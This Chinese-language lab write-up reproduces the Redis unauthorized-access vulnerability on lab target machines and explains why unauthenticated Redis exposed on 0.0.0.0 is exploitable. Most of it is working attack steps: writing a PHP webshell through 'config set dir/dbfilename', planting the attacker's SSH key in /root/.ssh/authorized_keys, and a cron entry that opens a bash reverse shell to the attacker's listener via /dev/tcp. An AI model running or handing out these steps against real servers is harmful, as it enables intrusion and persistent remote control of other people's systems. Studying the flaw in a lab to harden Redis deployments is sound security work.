漏洞原理:
Redis<3.2默认情况下,会绑定在0.0.0.0:6379,如果没有进行采用相关的安全策略,比如添加防火墙黑白名单等等,这样会将Redis服务暴露在公网上。
如果在没有设置密码(默认为空)的情况下,会导致任意用户可以未授权访问Redis以及读取Redis的数据。攻击者利用Redis自身的提供的config命令,可以进行写文件操作,还可以将ssh公钥写入目标服务器./root/.ssh下的authotrized_keys 文件中,进而可以利用对应私钥直接使用ssh服务器登录目标服务器。
漏洞的产生条件有以下两点:
漏洞复现:
环境:
靶机1开启redis-server,攻击机./redis-cli -h
尝试连接
由于靶机1没有开启安全策略且默认没有设置密码认证
造成攻击机可以未授权访问且执行命令获取敏感数据
利用方式一:webshell
攻击机进行未授权访问,利用redis的config set
命令将webshell写入靶机2网站目录下(*Redis Config Set 命令可以动态地调整 Redis 服务器的配置)
config set dir #设置路径
config set dbfilename #设置文件名
set webshell #写入key值“webshell”对应的值
save #将所有key值保存在文件中
浏览器访问http://靶机2/shell.php
,发现成功写入webshell
利用方式二:写入SSH公钥实现SSH登录
将攻击机本机的公钥作为value,然后通过修改redis的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在靶机2的/root/.ssh下生一个授权的key,从而通过ssh登录靶机2。
ssh-keygen -t rsa #生成ssh公钥和私钥,默认密码为空
将生成的公钥保存到ssh.txt
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > ssh.txt
将保存的公钥ssh.txt写入靶机2 redis的key值ssh中
cat /root/.ssh/ssh.txt | redis-cli -h 靶机2 -x set ssh
远程登录靶机2的redis服务,更改redis备份路径为ssh公钥存放目录
config set dir /root/.ssh
设置上传公钥的备份文件名字为authorized_keys
,保存上传
攻击机使用ssh免密登录靶机2
利用方式三:crontab定时任务,反弹shell
攻击机监听9999端口
nc -l 端口
远程登录redis,写入定时任务,一分钟后执行bash反弹shell
set test "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/攻击机/监听端口 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename test
save
利用方式四:执行lua脚本
Redis在2.6推出了脚本功能,允许开发者使用lua语言编写脚本传到Redis中
执行。暂时还没找到怎么利用lua执行系统命令。
编写lua脚本test.lua输出字符hello,world!
local a = "hello,world!"
return a